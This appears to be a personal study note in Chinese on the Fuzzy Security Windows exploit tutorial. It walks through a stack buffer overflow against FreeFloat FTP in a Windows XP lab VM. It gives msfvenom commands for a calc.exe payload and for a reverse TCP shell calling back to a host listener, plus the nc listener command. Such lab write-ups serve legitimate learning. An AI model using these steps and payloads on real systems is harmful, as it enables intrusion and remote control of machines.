# Windows Exploit Development - Saved Return Pointer Overflows Fuzzy Security 的教學第二部分,主要就是簡單的 stack buffer overflow 和 shellcode ,收穫大多是工具的熟悉僅此 ## 環境搭建 ### 基本訊息 virtual box windows xp sp3 ,我用的是之前網路上載的 black edition processor: 2 memory: 2G network: Nat Network ,考慮到需要從 host 送 payload 到 guest ,故採用兩者可以相通的 nat network ### Nat Network 設定 virtualbox tools -> Preferences -> Network -> Nat Network -> edit selected nat network -> port forwarding -> host port, guest ip, guest port 其中 host port 為想要跟 guest port 綁定的 port , guest ip 可以在 guest 內透過 `ipconfig` 或 `ifconfig` 得知, port 則是看程式設定 guest -> host: host 中的 inet addr 基本上就是了,反正每個網卡都試一下 host->guest: `ifconfig` 中出現的 inet addr 都嘗試一下...... ### 傳遞檔案 我的 windows xp 不知為何無法進入 github 也無法 drag and drop ,我只好用 python -m SimpleHttpServer 來送檔案給 guest ## 需要工具 * Immunity Debugger: 雖然很多人推薦,但我不清楚真正好用在哪XD,可能是可以跑 mona ? * pwntools: pwn 神器, library 有很多好用的工具,方便做交互 * metasploit framework: 知名 exploit framework ,對我而言最大的好處就是不用自己費神弄一個 windows shellcode * FreeFloat FTP: 這次的目標 ## 流程 基本上是照著教學走,不過有 linux pwn 的經驗,大多都知道要幹嘛,除了 debug 比較麻煩外其他應該沒啥差別 1. 確認漏洞: 這部分教學的 exploit 有給提示在 MDK 上了 2. 弄個雛形的 exploit 3. 送 cyclic 給 FreeFloat 看第幾個會蓋到 return address 4. 確認下 padding 是否正確 5. 透過 mona 找到 jmp esp 來讓程式跳進 shellcode , command: `!mona jmp -r esp` 具體是什麼意思,我還要再研究 6. 將 jmp esp 放到 return address 上,並研究 esp 的位置且如何覆蓋到 7. 從 msfvenom 生出 windows 的 shellcode ,這邊我簡單彈出一個 calc.exe 即可,指令: ```shell msfvenom -a x86 --platform windows -p windows/exec CMD='calc.exe' -b '\x00\x09\x0a\x0d\x1a\x20' ``` -a: arch --platform: 顧名思義 -p: generate payload -b: banned ,即 payload 不可出現後續字元 如此應該會生出一個 200 多 byte 的 payload 8. 在 payload 前放一堆 nop ,以防出錯 > 我他媽就是沒擺 nop sled ,導致卡了好幾十分鐘 9. 送出 payload ,看 guest 彈出 calc.exe 10. 最後不免俗還是要弄個 shell 出來才算大功告成: 這邊如果把 guest 當 server 傳資料不知道需不需要打開防火牆,我個人是懶的這樣做,所以把 guest 當 client , server 的部分開在 host ,換句話說就是弄個 reverse tcp shell command: `msfvenom -a x86 -platform windows -p windows/shell_reverse_tcp lhost=172.17.0.1 lport=4444 -b '\x00\x09\x0a\x0d\x1a\x20 --format python` 不要忘記在 host 開一個 listen port: `nc -vlp 4444`
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up